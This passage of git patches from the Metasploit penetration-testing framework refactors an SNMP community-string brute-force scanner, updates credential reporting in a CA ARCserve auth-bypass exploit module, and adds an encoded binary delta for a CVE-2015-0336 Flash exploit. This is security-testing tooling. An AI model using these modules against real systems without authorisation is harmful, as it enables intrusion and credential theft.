get_payload(cli, target_info.merge(arch: ARCH_CMD)) - b64_payload = Rex::Text.encode_base64(target_payload) platform_id = 'linux' end From d3c374147852d2b8301bcb0c531622c9844d00f6 Mon Sep 17 00:00:00 2001 From: John Sherwood Date: Wed, 3 Jun 2015 18:08:38 -0400 Subject: [PATCH 0305/1013] Use run_host so that we can use THREADS - The refactor left the module using run_batch even though the features of the code that made this desirable were removed (i.e., it was no longer doing one batch per community string). By now switching back to run_host, we can again take advantage of the built-in metasploit multithreading capabilities. - Also, added back in the display of the result.proof field. This aids in identifying false positives (which have a blank response) and is functionality worth keeping. --- modules/auxiliary/scanner/snmp/snmp_login.rb | 71 +++++++++----------- 1 file changed, 31 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index be6480fd88..ec3cd19571 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Auxiliary Opt::CHOST, OptInt.new('CONNECTION_TIMEOUT', [true, 'The timeout value for each probe', 2]), OptInt.new('RETRIES', [true, 'The number of retries per community string', 0]), - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptEnum.new('VERSION', [true, 'The SNMP version to scan', 'all', ['1', '2c', 'all']]), OptString.new('PASSWORD', [ false, 'The password to test' ]), OptPath.new('PASS_FILE', [ false, "File containing communities, one per line", @@ -43,50 +42,42 @@ class Metasploit3 < Msf::Auxiliary deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE') end + # Operate on a single host so that we can take advantage of multithreading + def run_host(ip) - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i - end + collection = Metasploit::Framework::CommunityStringCollection.new( + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] + ) - # Operate on an entire batch of hosts at once - def run_batch(batch) + scanner = Metasploit::Framework::LoginScanner::SNMP.new( + host: ip, + port: rport, + cred_details: collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['CONNECTION_TIMEOUT'], + retries: datastore['RETRIES'], + version: datastore['VERSION'], + framework: framework, + framework_module: self + ) - batch.each do |ip| - collection = Metasploit::Framework::CommunityStringCollection.new( - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'] + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - scanner = Metasploit::Framework::LoginScanner::SNMP.new( - host: ip, - port: rport, - cred_details: collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: datastore['CONNECTION_TIMEOUT'], - retries: datastore['RETRIES'], - version: datastore['VERSION'], - framework: framework, - framework_module: self - ) - - scanner.scan! do |result| - credential_data = result.to_h - credential_data.merge!( - module_fullname: self.fullname, - workspace_id: myworkspace_id - ) - if result.success? - credential_core = create_credential(credential_data) - credential_data[:core] = credential_core - create_credential_login(credential_data) - - print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level})" - else - invalidate_login(credential_data) - print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" - end + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}" + else + invalidate_login(credential_data) + print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" end end end From a0aa6135c5b0bf418617ba100a57cddb562af267 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 3 Jun 2015 20:02:07 -0500 Subject: [PATCH 0306/1013] Update ca_arcserve_rpc_authbypass to use the new cred API --- .../http/ca_arcserve_rpc_authbypass.rb | 44 ++++++++++++++----- 1 file changed, 34 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 252c2bb0f8..7590171b5b 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -58,6 +58,33 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + session_id: session_db_id, + origin_type: :session, + private_data: opts[:password], + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + def exploit print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") @@ -105,16 +132,13 @@ class Metasploit3 < Msf::Exploit::Remote end # report the auth - auth = { - :host => datastore['RHOST'], - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :user => user, - :pass => pass, - :active => true - } - report_auth_info(auth) + report_cred( + ip: datastore['RHOST'], + port: 445, + service_name: 'smb', + user: user, + password: pass + ) srvc = { :host => datastore['RHOST'], From 78e4677bb1b37cf00bbfaba1a8583fba71724ad6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 3 Jun 2015 20:10:01 -0500 Subject: [PATCH 0307/1013] Oops it blew up --- modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 7590171b5b..b2a8238115 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -70,9 +70,8 @@ class Metasploit3 < Msf::Exploit::Remote credential_data = { module_fullname: fullname, post_reference_name: self.refname, - session_id: session_db_id, - origin_type: :session, private_data: opts[:password], + origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) From 80cb70cacf4f7bad1e85d14b01c1bc52f6feb4ae Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 3 Jun 2015 22:46:04 -0500 Subject: [PATCH 0308/1013] Add support for Windows 8.1/Firefox --- data/exploits/CVE-2015-0336/msf.swf | Bin 20776 -> 20968 bytes .../source/exploits/CVE-2015-0336/Exploit.as | 5 +- .../exploits/CVE-2015-0336/Exploiter.as | 95 ++++++++++++++++-- .../adobe_flash_net_connection_confusion.rb | 8 +- 4 files changed, 93 insertions(+), 15 deletions(-) diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf index f8492e42e8860d9a9da45cb2b6712a3a493fb098..8a05ef2a538096d61ce6f030a685705e0613e85d 100644 GIT binary patch delta 20849 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 